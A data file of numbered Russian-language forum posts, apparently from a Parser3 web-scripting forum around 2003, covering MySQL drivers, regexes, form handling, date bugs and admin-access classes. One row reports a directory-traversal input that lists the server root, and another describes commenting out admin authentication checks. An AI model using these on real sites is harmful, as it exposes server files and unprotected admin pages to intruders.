  Ошибка возникла при работе с: \
  <b>$exception.source</b>\
  <br>\
  Комментарий: \
  <b>$exception.comment</b>\
  <br>\
  <br>\
</body>\
</html>\
  $exception.handled[1]"
"18806","А то любое ^file:list[/../../] бодренько выдает содержимое корня прямо в браузере..."
"18807","Я ищу так (в UltraEdit 10): в строке поиска пишу ^([0-9][0-9]+^)\
в строке замены <a href=\"0^1.html\">^1</a> это работает.\
Но проблема, как исключить поиск вот такого - width:190.0pt;\
Чтобы нажать кнопку и заменить все сразу, а не сидеть и контролировать все замены...\
\
\
<TR class=tablerow0 ALIGN=\"LEFT\" VALIGN=\"TOP\">\
<TD class=tablecell0 ALIGN=\"LEFT\" VALIGN=\"TOP\" style=\" width:190.0pt; height:9.8pt;\">\
<DIV class=block style=\" width:190.0pt; height:9.8pt;\">\
<DIV class=paragraph style=\" padding:0.0pt 0.0pt 0.0pt 4.0pt; text-align:left;\">\
<SPAN class=font0>Брут (Луций Юний Б.) 15, 66, 78, 220, 253</SPAN><BR>\
</DIV>\
</DIV>\
</TD>\
</TR>\
<TR class=tablerow0 ALIGN=\"LEFT\" VALIGN=\"TOP\">\
<TD class=tablecell0 ALIGN=\"LEFT\" VALIGN=\"TOP\" style=\" width:190.0pt; height:8.6pt;\">\
<DIV class=block style=\" width:190.0pt; height:8.6pt;\">\
<DIV class=paragraph style=\" padding:0.0pt 0.0pt 0.0pt 4.0pt; text-align:left;\">\
<SPAN class=font0>Брут (Марк Юний Б.) 25, 33, 34, 48, 230, 231, 268, 330, 331, 332, 550,</SPAN><BR>\
</DIV>\
</DIV>\
</TD>\
</TR>"
"18808","Вы хотите чтобы file:list смотрел только ваши личные папки?\
\
Потому как существует понятие web-пространства. Для каждого хостера оно настраивается в Apache или в IIS, и при хорошей настройке вы не сможете выйти дальше своего ограниченного веб-пространства."
"18809","У меня такое тоже было. И честно сказать я не очень помню как вышел из этого положения. Попробуй упростить пример, просто вывести имя файла без сохранения, или сделай $image_name[$form:pict.name]"
"18810","перечитайте?"
"18811","эта документация писалась очень долго, всё тщательно формулировалось и переформулировалось.\
\
[b]после внимательного прочтения[/b], пожалуйста, задайте конкретные вопросы. желательно если ни с кусками кода, то хотя бы с конкретной задачей.\
\
что сделать прямо сейчас: закройте окно, в котором вы отвечаете на моё письмо, описывая вашу конкретную задачу, и перечитайте начало предыдущего абзаца."
"18812","1. создайте [b]отдельный[/b] bug.html, который падает\
2. сделайте copy/paste его сюда, пожалуйста\
\
несть числа наведённым ошибками, и кажущимся ошибкам.\
ещё бабушка говорила :), «выдели проблему в чистом виде, [b]потом[/b] заявляй, что это ошибка»."
"18813","1. уточните пользователя, от имени которого работает parser.\
2. раздайте соответствующие права на каталоги/файлы вашего диска средствами вашей OS.\
\
к (1): если не знаете сразу, самый простой способ:\
[code]\
$test[test]\
^test.save[test.txt]\
[/code]\
\
и посмотрите на пользователя/группу свежесозданного файла"
"18816","Класс конечно интересный!\
Сам хотел написать что-то подобное. \
Хочу посмотреть как он работает у меня на компьютере.\
Не могли бы ли вы вкратце написать принцип работы класса, какие файлы использует, какую таблицу надо создать в БД, какие поля там создать, просто мне просматривая ваш код немного трудновато понять все это."
"18817","http://www.egoroff.spb.ru/news/2003-7-22.html\
\
PS Собирал из версии в которой ошибка уже исправлена"
"18818","ну я пока сделал попроще - для каждого сайта в своей базе создаются две таблицы, одна для назначения доступа пользователям к каждой конкретной странице админского раздела, список страниц берется из secitons.cfg\
\
groupaccess.sql\
\
DROP TABLE IF EXISTS groupaccess;\
create table groupaccess (\
id int not null auto_increment primary key,\
groupid int(10) unsigned NOT NULL,\
uri varchar(255)\
);\
\
Другая таблица тоже каждая для своего сайта - база админских сессий - в нее пишутся кто когда заходил и прочая, а также лог подбора паролей, если кто-то неправильно набирал пароль существующего админа...\
\
session.sql\
\
DROP TABLE IF EXISTS session;\
CREATE TABLE session (\
  id int not null auto_increment primary key,\
  sessionhash char(32) NOT NULL,\
  userid int(10) unsigned NOT NULL,\
  usergroup int(10) unsigned NOT NULL,\
  host char(20) NOT NULL,\
  username char(20) NOT NULL,\
  lastactivity datetime,\
  lastpage varchar(255),\
  start datetime,\
  expired varchar(20)\
);"
"18819","у меня не parser.cgi, а модуль Апача ApacheModuleParser3.dll, да и вопрос можно для начала задать тогда так:\
Имеет ли решение под NT задача\
>> раздайте соответствующие права на каталоги/файлы вашего диска средствами вашей OS\
Хотя, если реально очень всё мутно, тогда просто подождем перехода на Linux платформу, там я хоть примерно представляю, как должно быть - один раз вместе с админом хостинга ставили его мне на виртуальный хост..."
"18821","Проблема в том, что мне интересно, как это обычно делается.\
Я понимаю, что тут все пожеланию разработчика, но может есть какие-либо стандарты.\
\
Что пока я вижу.\
В куки записывается последнее посещение юзера форума. При новом посещении они считываются и сравниваются с датой изменения темы или с датой самих сообщений.\
\
Выявили, что есть новые сообщения со времени последнего уход юзера с форума. А что дальше?, вот что мне интересно:)\
\
Надо, чтобы \"новые\" сообщения сразу не пропадали ведь, а показывались определенное время. Что для этого лучше - Опять новыйе куки?\
Тьфу, мне просто интересен подход к данной теме. Вот вообщем то и все."
"18822","есть адреса типа\
пр. Строителей 21,\
пр. Мира 6а\
ул. Гагарина 6\
выдача нужна такая:\
[code]\
пр. Мира 6а [b]и[/b] пр. Строителей 21\
[/code]\
и такая:\
[code]\
пр. Строителей 21 и ул. Гагарина 6\
[/code]\
\
не могу поймать букву после номера дома - пр. Мира 6[b]а[/b], ее иногда через пробел вбивают\
[code]\
$adr[^dirtadr.match[([0-9]+)\\s([a-zа-я]{1})\\s([a-zа-я]?)][g]{${match.1}${match.2} ${match.3}}]\
[/code]\
как написать???"
"18823","Подскажите, как на Линуксе подключить драйвер MySQL с расширением .so? Тестовый файлик при подключении такой библиотеки говорит:\
\
driver failed to initialize client library 'unspecifed', client library column is empty \
$sqldriversdir/libparser3mysql.so\
\
Хотя в самом начале _test.html библиотека подключается:\
mysql $sqldriversdir/libparser3mysql.so (52624 байт) (относительный путь. проверка невозможна)"
"18824","Я добился требуемого результата!!! Правда другим способом:\
Создал рядом файл search.htm который вызываю из скрипта следующим способом\
 $response:location[../search.htm?searshUrl=$var[$гдеискать=&что искать]]\
А внем просто сделал переадресацию на $form:searshUrl через meta refresh.\
\
Только так все заработало... И БОЛЬШЕ НИ КАК!!!"
"18825","есть две .so:\
  libparser3mysql.so << про эту вам _test говорит OK\
и \
  libmysqlclient.so << а про эту вам говорит сообщение об ошибке,\
не указана. \"client library column is empty\"\
\
перепроверьте свой auto.p, должно быть три колонки:\
mysql\
/Путь/Где/Корень=ВебПространство/Parser3Mysql.so\
/Полный/ДИСКОВЫЙ/Путь/К/libmysqlclient.so"
"18826","Я дошел до энного урока и у меня не получается работать с MySQL как их подключать? Я использую Комплекс Денвер-2. Вообщем я создаю форму, но она не фурычит и выдает мол нема такой базы... Примерно вот так:\
Unhandled Exception (Debug)\
Unknown database 'p3test'\
mysql://****@localhost/p3test\
\
z:/home/bash.ru/www/auto.p(2)\
exception.type=sql.connect \
--------------------------------------------------------------------------------\
connect z:/home/bash.ru/www/admin/index.html(28)\
if z:/home/bash.ru/www/admin/index.html(27)\
body_main z:/home/bash.ru/www/auto.p(53)\
body z:/home/bash.ru/www/auto.p(6)\
\
Чего делать не подскажете? И куда и откуда копировать файлы базы данных?"
"18827","Наконец-то я разобрался и настроил ваш класс, но только есть ещё одна проблема: пароль\
\
Вот мой admin.cfg\
\
[code]\
userid	nick	group	password\
1	quesh	1	$apr1$password\
[/code]\
\
я заполняю форму, пишу \
\
логин:quesh пароль:password\
\
но меня не хотят пропускать."
"18829","Используй графический клиент для управления БД, [url=\"http://mysqlfront.venturemedia.de/index.php?s=9503bf12672368f1fd43045383a76713&act=ST&f=2&t=328\"]MySQL Front[/url]."
"18830","Баг или фича парсера? Где моя ошибка? В том сообщении, дата выдаётся с отрывом в неделю, то есть я могу сделать заключение, что часовые пояса здесь не при чём."
"18831","окей..."
"18832","Если не поняли, можем помочь, просто хочется чтобы вы сами сначала постарались понять, а что не получилось понять, можем разжевать."
"18833","Не должно быть так в чистом виде пароли лежать:\
$apr1$password\
\
Туда надо писать его ХЕШ... получить ХЕШ пароля можно, если ввести только пароль без имени - от сгенерит хеш и покажет его в форме, он длинный набор символов наподобие, как я давал в примере...\
\
Из доки Парсера:\
\"crypt. Хеширование паролей \
^math:crypt[password;salt] \
Хеширует password с учетом salt. \
Параметры: \
Ї password - исходная строка;  \
Ї salt - строка, определяющая алгоритм хеширования и вносящая элемент случайности в процесс хеширования, состоит из начала и тела. Начало определяет алгоритм хеширования, тело вносит элемент случайности. Если тело не будет указано, Parser сформирует случайное.  \
Неразумно хранить пароли пользователей, просто записывая их на диск или в базу данных - ведь если предположить, что злоумышленник украдет файл или таблицу с паролями, он легко сможет ими воспользоваться. Поэтому принято хранить не пароли, а их хеши - результат надежного однозначного необратимого преобразования строки пароля. Для проверки введенного пароля к нему применяют то же преобразование, передавая в качестве salt сохраненный хеш, а результат сверяют с сохраненным.\""
"18834","чтобы зайти первый раз и дать хотя бы самому себе права на страницу задания прав, я поступаю проще, чем вручную писать запросы к базе - отключаю на время проверку для нужных страниц...\
в auto.p админского раздела надо закоментировать на время\
  ^admin.validate[]\
тогда он не будет проверять в заголовке права...\
\
плюс еще надо убрать проверку в файле permission.phtml, закоментировав   $admin[^admin::validate[]] и используя пока вместо него пустой конструктор класса $admin[^admin::load[]] \
тогда вы при вводе http://server/site/admin/permission.phtml попадете на страницу разрешений, выполнив её код без проверок...\
Примерно так, если ничего не напутал ща по-памяти..."
"18835","В базе храниться информация по каждому пользователю, в частности дата последнего выхода пользователя из системы...\
\
Поэтому сообщения считаются новыми, если последнего входа в систему < даты написания сообшения.\
\
Оффтоп: Надеюсь понятно обяснил, а то всегда коряво выражаюсь ;)"
"18837","Во всём разобрался, всё сделал, работает.\
Насчет паролей согласен, неразумно их хранить в незашифрованном виде.\
А в общем мне ваш админ класс понравился, хорошая вещь!\
\
Вот только один момент.\
Насколько я понял(поправьте если ошибаюсь), имя сессии создаётся так:\
\
$session[^math:random(1000000000000000000)]\
\
то есть генерируется любое случайное число в диапазоне\
1000000000000000000\
Конечно в таком диапазоне совпадения практически исключены, но все-же.\
Может можно пойти другим путем, и создать индивидуальный идентификатор сессии, по-моему как его сделать уже обсуждалось в форуме."
"18838","Я вообще-то его выложил, чтобы народ подсказал, как это надо было делать правильно, например, я далеко не уверен, что $response:location[./] является достаточной защитой, более качественно было бы сделать страницу пустую, и ТОЛЬКО ЕСЛИ можно, то уже создавать код... то есть не пытаться выбросить со страницы, если нельзя, а пытаться отобразить страницу, если можно... ибо при любых глюках просто будут страницы отображаться и все... Кто-нить базу испортит немного, или код чуть заменит и будет юзать готовые формы для дефейса..."
"18839","Фразу из учебника \"Прежде всего, средствами MySQL создаем новую базу данных с именем p3test, содержащую одну единственную таблицу news с полями id, date, header, body\" можно выполнить, например, запустив на выполнение такой скрипт:\
\
DROP TABLE IF EXISTS p3test;\
create table p3test (\
id     int not null auto_increment primary key,\
date   date,\
header varchar(255),\
body   text\
);\
\
честно, скажу, не проверял, но вроде не ошибся..."
"18840","Этой библиотеки нет в архиве с драйверами MySQL parser3sql_3_0_0006_redhat72_mysql.tar.gz"
"18841","Здравствуйте!\
\
возникли проблемы при переводе сайта на Парсер, точнее при переводе его японской версии. Парсер ругается на разные символы, видя их как свои служебные, а не как японские иероглифы.\
\
подскажите, пожалуйста, как можно решить данную проблему."
"18842","Короче, что-то не то в этом выражении:\
Если ты отталкиваешься от числа то тогда так\
[code]\
$adr[^dirtadr.match[([0-9]+)(\\s?[а-я]?)][g]{${match.1}$match.2}]\
[/code]\
\
Что получилось. Ты находишь любое целое число любой длинны, затем находишь \\s? (пробел, может и не быть), затем букву [а-я]? (ее тоже может не быть) и в итоге все выводишь.\
\
Таким макаром можно поймать пробел. А вообще я бы сделал это чем-то вроде меню. Если нечетная запись, ставить пробел \"и\" пробел ставить следующую запись и т.д.\
\
match тут вовсе не нужен."
"18844","на самом деле там нет никаких служебных символов. Парсер так почему-то воспринимает иероглифы."
"18845","На правах рекламы - также спасибо CIFNet за отличный хостинг!"
"18846","поскольку налицо взаимонепонимание."
"18848","какая используется кодировка?\
\
с UTF-8 проблем точно быть не должно.\
\
и всегда можно сказать:\
[code]\
$request:charset[UTF-8]\
$response:charset[какой-нужно]\
[/code]"
"18849","Работает в смысле заработал без ошибок.\
У меня совершенно нет намереней использовать ваш админ класс для администрирования сайта в Интернете.\
Я посмотрел как он работает у себя на компьютере.\
Меня заинтересовал ваш админ класс, так как я сам хотел написать что-то подобное.\
\
А, что касается $response:location[./] то это надо смотреть.\
Если что будет написать по $response:location[./] и в общем по админ классу то я напишу."
"18850","В одном случае создаётся сесия через кук со всеми регистрациями пользователей. (Обсуждалось недавно)\
\
Во втором случае создаётся файл паролей для апача, со всякими пользователями но без учёта сесий помоему.(Не помню когда обсуждалось наверно до моего с парсером знакомства)"
"18851","Многознающий All. А не будете ли любезны подтолкнуть меня в правильную сторону?\
Задача: На странице имеется несколько, скажем две, формы. Как понять, в какой именно произошло посылание? Формочка проименнована и все такое.\
Нутром чую что передаются данные только посылальной формы. Или я ошибаюсь? И даже если это так, то способ плз по ее выявлению.\
\
С энтузиазмом..."
"18852","По задумке формы все постятся на страницу поста, т.е. action=\"\". Вот тут и появляется затык - а кого собственно обрабатывать?"
"18853","Две, или несколько форм на странице, у каждой есть hidden-поле, - formId. Ну и...\
[code]\
^switch[$form:formId]{\
    ^case[form1]{\
        ...\
    }\
    ^case[form2]{\
        ...\
    }\
    ...\
    ^case[formN]{\
        ...\
    }\
}\
[/code]\
По-моему прокатит, как думаете?"
"18854","При приеме проверять, если не пустая $form:имя_кнопки\
то делать одно, иначе другое, или в случае если форм больше двух проверять дальше по списку.\
Если форм очень много, то смотрите пример Givi"
"18855","можете посмотреть: http://www.parser.ru/forum/?id=17609"
"18856","...воспользуйтесь поиском по форуму.\
А для удобства работы с БД скачайте программу MySQL Front, где её скачать уже тоже говорилось, а можно просто в гугле написать Download MySQL Front."
"18858","используется кодировка - Shift JIS"
"18859","Я поглядел, ни один японский символ не попадает в класс служебных.\
\
Таблица, http://www.microsoft.com/globaldev/reference/dbcs/932.htm"
"18860","а то сталкивался, и не знал про неё..."
"18861","Со скрытыми полями все почти замечательно. Спасибо Гиви. Теперь думать буду про ...\
Но ведь у формы есть вполне определенный поле name. Зачем вводить дополнительные поля? Ждем Parser4?!!!"
"18862","Это уже похоже стало классикой :)\
bash$ ./configure --prefix=$HOME/parser3project\
... (бла-бла бла, 3 рубля, короче сконфигуривается) ...\
\
\
[code]\
bash$ make\
make  all-recursive\
make[1]: Entering directory `/www/virtual_servers/adamov.tversu.ru/cgi-bin/src/parser3mysql-3.0.0006'\
Making all in libltdl\
make[2]: Entering directory `/www/virtual_servers/adamov.tversu.ru/cgi-bin/src/parser3mysql-3.0.0006/libltdl'\
../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I..     -g -O2 -c ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I.. -g -O2 -c ltdl.c  -DPIC -o ltdl.lo\
../libtool --mode=link gcc  -g -O2  -o libltdlc.la   ltdl.lo -ldl\
mkdir .libs\
ar cru .libs/libltdlc.al ltdl.lo\
ranlib .libs/libltdlc.al\
creating libltdlc.la\
(cd .libs && rm -f libltdlc.la && ln -s ../libltdlc.la libltdlc.la)\
make[2]: Leaving directory `/www/virtual_servers/adamov.tversu.ru/cgi-bin/src/parser3mysql-3.0.0006/libltdl'\
make[2]: Entering directory `/www/virtual_servers/adamov.tversu.ru/cgi-bin/src/parser3mysql-3.0.0006'\
/bin/sh ./libtool --mode=compile c++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/mysql/include/mysql/    -g -O2 -c parser3mysql.C\
c++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/mysql/include/mysql/ -g -O2 -c parser3mysql.C  -DPIC -o parser3mysql.lo\
parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
parser3mysql.C:52: parse error before `{' token\
[/code]\
\
Ну дальше лирика ...\
\
Поискал по форуму на пердмет этого самого pa_sql_driver.h, нашел вот чего\
http://www.parser.ru/forum/?id=13000\
http://www.parser.ru/forum/?id=6169\
\
Насколько я понял, этот файл из исходников Парсера (не SQL драйвера), те ему надо развернуть исходники тоже?\
\
Какая должна быть структура каталогов для успешной (дефолтовой) сборки?"
"18863","[code]\
bash$ make\
make  all-recursive\
make[1]: Entering directory `/www/virtual_servers/adamov.tversu.ru/parser3project/sql/parser3mysql-3.0.0006'\
Making all in libltdl\
make[2]: Entering directory `/www/virtual_servers/adamov.tversu.ru/parser3project/sql/parser3mysql-3.0.0006/libltdl'\
../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I..     -g -O2 -c ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I.. -g -O2 -c ltdl.c  -DPIC -o ltdl.lo\
../libtool --mode=link gcc  -g -O2  -o libltdlc.la   ltdl.lo -ldl\
mkdir .libs\
ar cru .libs/libltdlc.al ltdl.lo\
ranlib .libs/libltdlc.al\
creating libltdlc.la\
(cd .libs && rm -f libltdlc.la && ln -s ../libltdlc.la libltdlc.la)\
make[2]: Leaving directory `/www/virtual_servers/adamov.tversu.ru/parser3project/sql/parser3mysql-3.0.0006/libltdl'\
make[2]: Entering directory `/www/virtual_servers/adamov.tversu.ru/parser3project/sql/parser3mysql-3.0.0006'\
/bin/sh ./libtool --mode=compile c++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/mysql/include/mysql/    -g -O2 -c parser3mysql.C\
c++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/mysql/include/mysql/ -g -O2 -c parser3mysql.C  -DPIC -o parser3mysql.lo\
parser3mysql.C: In member function `virtual void MySQL_Driver::connect(char*,\
   SQL_Driver_services&, void**)':\
parser3mysql.C:106: `strcasecmp' undeclared (first use this function)\
parser3mysql.C:106: (Each undeclared identifier is reported only once for each\
   function it appears in.)\
make[2]: *** [parser3mysql.lo] Error 1\
make[2]: Leaving directory `/www/virtual_servers/adamov.tversu.ru/parser3project/sql/parser3mysql-3.0.0006'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/www/virtual_servers/adamov.tversu.ru/parser3project/sql/parser3mysql-3.0.0006'\
make: *** [all-recursive-am] Error 2\
[/code]\
\
Странно, почему он не находит [b]strcasecmp[/b], может не правильно сформировалось что-то при configure?"
"18865","Парсер выдает такую ошибку. Делаю 5 урок по принципу copy+paste.\
Unhandled Exception (Debug)\
class is undefined\
gbook\
\
z:/home/bash.ru/www/gbook/index.html(8)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
body_main z:/home/bash.ru/www/auto.p(58)\
body z:/home/bash.ru/www/auto.p(6)\
\
Не пойму в чем дело. Оператор USE использовал. Помогите!"
"18866","Парсер выдает такую ошибку. Делаю 5 урок по принципу copy+paste.\
Unhandled Exception (Debug)\
class is undefined\
gbook\
\
z:/home/bash.ru/www/gbook/index.html(8)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
body_main z:/home/bash.ru/www/auto.p(58)\
body z:/home/bash.ru/www/auto.p(6)\
\
Не пойму в чем дело. Оператор USE использовал. Помогите!"
"18867","правильно поняли. \
\
структура такая:\
xxx\
  parser3/ << здесь исходники самого parser\
  sql/ << сюда исходники драйверов\
     mysql/ << собираемое сюда\
\
добавлю это в sql/*/INSTALL."
"18868","и не ищет нужной функции сам.\
на доступных мне машинах она была, на win32 сверну написан ifdef.\
\
если вам не лень, оформите в configure.in обнаружение.\
если совсем лень, подпишите ifdef для вашей платформы/пришлите?"
"18870","Народ кто на чем сайты пишет? Посоветуйте редактор для Parser'a. Да токой, чтобы скобки выделял, возможные синошибки и т.д. и т.п., а то Я уже замучился на Блокноте писать. Чем больше код, тем хуже разбираться потом с ним."
"18871","На мой взгляд лучше UltraEdit, c подсветкой синтаксиса parser3...\
Скобки и тп...\
\
Могу кинуть на мыло файл для подсветки синтакиса парсера для UE10.."
"18872","Если не ошибаюсь - то у тебя пробел после gbook...\
\
P.S copy/paste иногда опасно... Используй редактор где можно посмотреть табы и пробелы"
"18873","Ага, скинь, если нежалко на osiv@xtek.ru. Заранее спасибо."
"18874","Я дописал эту функцию (strcasecmp, strncasecmp) в parser3mysql.C, \
все вроде скомпилировалось.\
\
Пытаюсь запустить test.html, выдает 500 ошибку :(\
Безо всяких комментариев, без .core ... ничего не просходит, он просто падает :(\
\
Да и еще, собрался не libparser3mysql.so, а libparser3mysql.so.0 и libparser3mysql.so.0.0.0\
\
Падает при подключении любого из них."
"18875","что ещё за вполне определённый поле name у формы?\
Как оно выглядит? Ни \"<form name=\" ни \"<form...><name...\" в спецификации я не нашёл...\
\
http://www.w3.org/TR/1998/REC-html40-19980424/interact/forms.html#h-17.3"
"18876","Заколебало меня уродство Виндовозовских стандартных форм кнопо и рюшек. Как бы их изменить не сильно мудратствую. Вариант со Flash не подходит по причине размера."
"18877","Скиньте мне тоже пожалуйста.Заранее благодарен."
"18878","запустите?"
"18881","bash$ mv auto.p _auto.p\
bash$ ./parser3 -f _auto.p ../www/test.html\
Segmentation fault (core dumped)\
bash$\
\
core тоже появился, отсылать?"
"18882",">>>Александр Петросян (PAF)\
>>>1. создайте отдельный bug.html, который падает\
>>>2. сделайте copy/paste его сюда, пожалуйста\
\
Пожалуйста, вот код: [code]$date[^date::create[1983-04-01]][/code]\
\
вот ошибка:\
invalid datetime\
1983-04-01"
"18883","Сорри за небольшой оффтопик, просто хочется, чтобы толковые люди идей бы поднакидали...\
\
Предположим, есть форум с авторизацией (точнее, он будет с авторизацией ;-)) и с большим траффиком. Люди общаются, приходят новые посетители, есть \"ядро\" старых. Надо ввести какую-то систему, которая позволяла бы новичку, который местных деятелей не знает, видеть, что на его реплику отвечает не хрен с бугра, а завсегдатай или наоборот. \
\
От числа реплик считать плохо - графоманы в toplist вылезут, и притом незаслуженно будут обойдены те, кто пришёл недавно, но уже активно общается - активность у них высокая, но чило реплик ещё мало. Выставлять оценки? У нас не социометрический тест и всех обо всех не спросишь. Просить составить каждого рейтинг 10 самых авторитетных участников? Тоже плохо - придётся просить проводить рейтингование регулярно, люди устанут. Может быть, просить при чтении реплик выставлять им оценки - интересно/неинтересно? \
\
Итак, как объективно автоматически считать рейтинг участника форума? Кто-нибудь что-нибудь читал на эту тему или же реализовывал что-то наподобие? Очень хочется услышать ваши идеи."
"18884","У меня на парсере 3.0.0007. для Win32 (на других платформах не проверял) такой код :\
\
[code]\
$date[^date::create[1983-04-01]]\
\
$date.month <br>\
$date.year  <br>\
$date.day   <br>\
[/code]\
\
совершенно нормально работает и выводит :\
\
[code]\
\
4 \
1983 \
1 \
\
[/code]"
"18885","У меня под win тоже все нормально...\
А вот на хостинге ошибка...\
Кто хоститься на valuehost??? проверьте у себя..."
"18886","Проверил на valuehost'е - не работает...\
\
пишет :\
\
[Wed Jul 23 19:56:02 2003] /testdate.html: /pub/home/mydomen/htdocs/testdate.html(1): '1983-04-01' invalid datetime [<no type>]\
\
Проверил на .masterhost - тоже не работает...\
\
пишет :\
\
[Wed Jul 23 19:58:13 2003] /testdate.html: /home/mydomen/www/testdate.html(1): '1983-04-01' invalid datetime [<no type>]\
\
Версия 3.0.0007. для FreeBSD в обоих случаях...\
Cgi - скрипт само собой...\
\
C другими датами - проходит нормально"
"18887","на deforum.ru что-то похожее сделано, но как реализовано - не вникал, скорее всего rank считается автоматически, в зависимости от даты регистрации или первого поста (\"новый человек\" - ... - \"давно здесь сидит\"), ну и в особых случаях выставляется вручную (\"модератор\" там, и т.д.)."
"18888","Это хостер или парсер?"
"18889","Если рассматривать XX век, то дата 1 апреля таким образом корректно создаётся только в 1970-1980 и 1985-2000 гг. включительно, в остальных случаях - ошибка.\
\
Update: остальные даты, кажется, работают."
"18890","[code]\
%cat time.c\
#include <stdio.h>\
#include <time.h>\
\
struct tm tmIn;\
\
int main(int argc, char *argv[])\
{\
        tmIn.tm_isdst=-1;\
        tmIn.tm_year=81;\
        tmIn.tm_mon=3;\
        tmIn.tm_mday=1;\
        tmIn.tm_hour=0;\
        tmIn.tm_min=0;\
        tmIn.tm_sec=0;\
        printf(\"Result: %d\\n\", mktime(&tmIn));\
        return 0;\
}\
%gcc -o time time.c\
%./time\
Result: -1\
[/code]\
Этот же код на win32 работает."
"18891","с переездом на другой хостинг возникла проблема:\
Mysql Version 4.0.13 \
стандартная строка запроса, которая работала на валюехосте\
\
$CONNECT[mysql://${USER}:${PASS}@${HOST}/${TABLENAME}?charset=cp1251_koi8]\
\
не пускает юзера:\
\
Access denied for user: 'da@localhost' (Using password: YES)\
mysql://****@localhost/qservice_qserv?charset=cp1251_koi8\
\
\
а запрс типа:\
\
$CONNECT[mysql://mysql_connect (\"${HOST}\", \"${USER}\", \"<${PASS}>\")]\
$CONNECT[mysql://mysql_select_db (\"qservice_qserv\")]\
\
не цепляет базу\
\
Unhandled Exception (Debug)\
No Database Selected\
select Text from da_pages1 where ID = '1000'\
\
select DATABASE() - дает пустую строку...\
\
подскажите в чем я не прав????"
"18893","самим то не стыдно??? прямо как первый день в сети...\
http://www.yandex.ru/yandsearch?rpt=rad&text=UltraEdit\
отменили уже???"
"18894","Насколько я понял ваш код, там доступ целиком к раделу либо есть, либо нет, так??? а у меня задача стояла еще разделить и управлять доступом к отдельным страницам раздела... конечно, можно делать разделы для каждой страницы..."
"18895","Любую систему можно обмануть, даже самую умную, поэтому лучше человеческого фактора не найти...\
Пидется вооружиться табличками с цифрами от 1 до n и выставлять всем оценки..."
"18897","Я проверил даже на template_gc версии. Хотя под Win32 действительно всё чики пуки."
"18898","@main[]\
^connect[odbc://DSN=test^;UID=user^;PWD=password]{\
	^for[i](1;10){\
		^void:sql{\
			INSERT INTO test\
			(s_name, s_descript)\
			VALUES('&#199;&#224;&#239;&#232;&#241;&#252; N$i', '&#206;&#239;&#232;&#241;&#224;&#237;&#232;&#229; &#231;&#224;&#239;&#232;&#241;&#232; N$i')\
		}\
	}\
	$test[^table::sql{\
		SELECT\
			i_id AS id,\
			s_name AS name,\
			s_descript AS descript\
		FROM test\
		WHERE i_id>3\
	}]\
	<table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\" border=\"1\">\
	<tr>\
		<th>id</th>\
		<th>name</th>\
		<th>descript</th>\
	</tr>\
	^test.menu{\
		<tr>\
			<td>$test.id</td>\
			<td>$test.name</td>\
			<td>$test.descript</td>\
		</tr>\
	}\
	</table>\
}\
\
\
\
Подскажите в чём ошибка\
пишет что то вроде доступ заперщён\
хотя права стоят?????????"
"18899","Да управлением доступа к разным страницам раздела у меня выполняет манюсенький оператор. 4 строки!\
\
Я не думал, что это может оказаться проблемой для кого-нибудь, по-этому не приводил его код.\
\
Логика! Блин..."
"18900","1. определить, какое кол-во реплик соответствует определенному \"званию\"\
\
2. при достижении определенного кол-ва реплик, достаточных для перехода в другой статус, робот отправляет сообщение модератору (или сделать страничку, на которой будет видно, кто \"на подходе\"), а модератор решает, перевести ли юзера в следующий статус, или нет."
"18901","А если есть авторы, которые только зарегистрировались и не имеют нужного кол-ва реплик, но известно, что они спецы (напр. из других форумов), вручную давать им статус."
"18902","Сегодня выгрузил сайт из денвера на свой хост. Пришлось еще часик пое...я, чтобы настроить свой сайт, и о чудо!!! он заработал!!! Правда совсем не так как на денвере, и я не пойму в чем дело. Некоторые страницы открываются с 2-3 раза. Если залогиниться то не все страницы обнавляются, и наоборит. Допустим у меня сделано, так: если вы незарегистрированы, то вас в ЧАТ сайт не пустит. Когда я логинюсь, то все-равно непускает, надо нажать Refresh на броузере, тогда только обновится страница. Но хуже, когда Я разлогиниваюсь, то если не сделать Refresh то \"добро пожаловать на чат\". Как сделать, чтобы при авторизации обнавлялся весь сайт.?\
\
Можете посмотреть на мой сайт: http://vavan.fatal.ru"
"18903","А вообще я бы сделал так:\
\
Автомату доверил бы выставлять статус по кол-ву реплик и времени пребывания на форуме (примерно как на ДФ: \"Новый человек\", \"Постоянный посетитель\" и т.д.)\
\
а себе бы доверил :) выставлять статус по кол-ву опыта и \"авторитетности\" автора. Ессно, вручную."
"18904","Кто-нибудь делал на своем сайте графические счетчики? У меня что-то не получается: беру исходный гифчик для фона, накладываю на него текст счетчика, вроде бы все по документации, но вместо текста на фоне выдает только <b>исходную</b> картинку. В текстовом варианте все работает. Подскажите что-нить, плз!"
"18906","Нууууууууууу!\
\
1.Как понимать \"Как сделать, чтобы при авторизации обнавлялся весь сайт.?\"\
\
2. Запретите доступ к *.p!!!!!\
\
3. Частица \"не\" с глаголом пишется раздельно :(\
\
4. пишите проблемный код! Никто не будет ратить свое время, чтобы догадываться, где у Вас ошибка."
"18907","Судя по всему, там кешируется всё и вся, как на печально известном h1.ru. Почитай высказывания про этот хостинг в поиске - http://www.parser.ru/forum/?terms=hoha.ru&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\
\
А лучше всего - пропрощайся с халявой и покупай себе нормальный хостинг - это недорого и геморроя меньше."
"18908","http://vavan.fatal.ru/data/user_IP.txt"
"18909","Ну а как тогда?\
\
Не собирать же \"ученый совет по назначению статуса\" :)))\
Голосовать - утомительно."
"18910","Я сделал вот так: \
@counter[]\
^file:lock[/data/counter.lock]{\
	$file[^file::load[text;/data/counter.txt]]\
	$string[^eval($file.text+1)]\
	$string.double[]\
	^string.save[/data/counter.txt]\
}\
$count[^string.double[]]\
\
	^for[i](0;(^count.length[]-1)){\
			$imagescr[^count.mid($i;1)]\
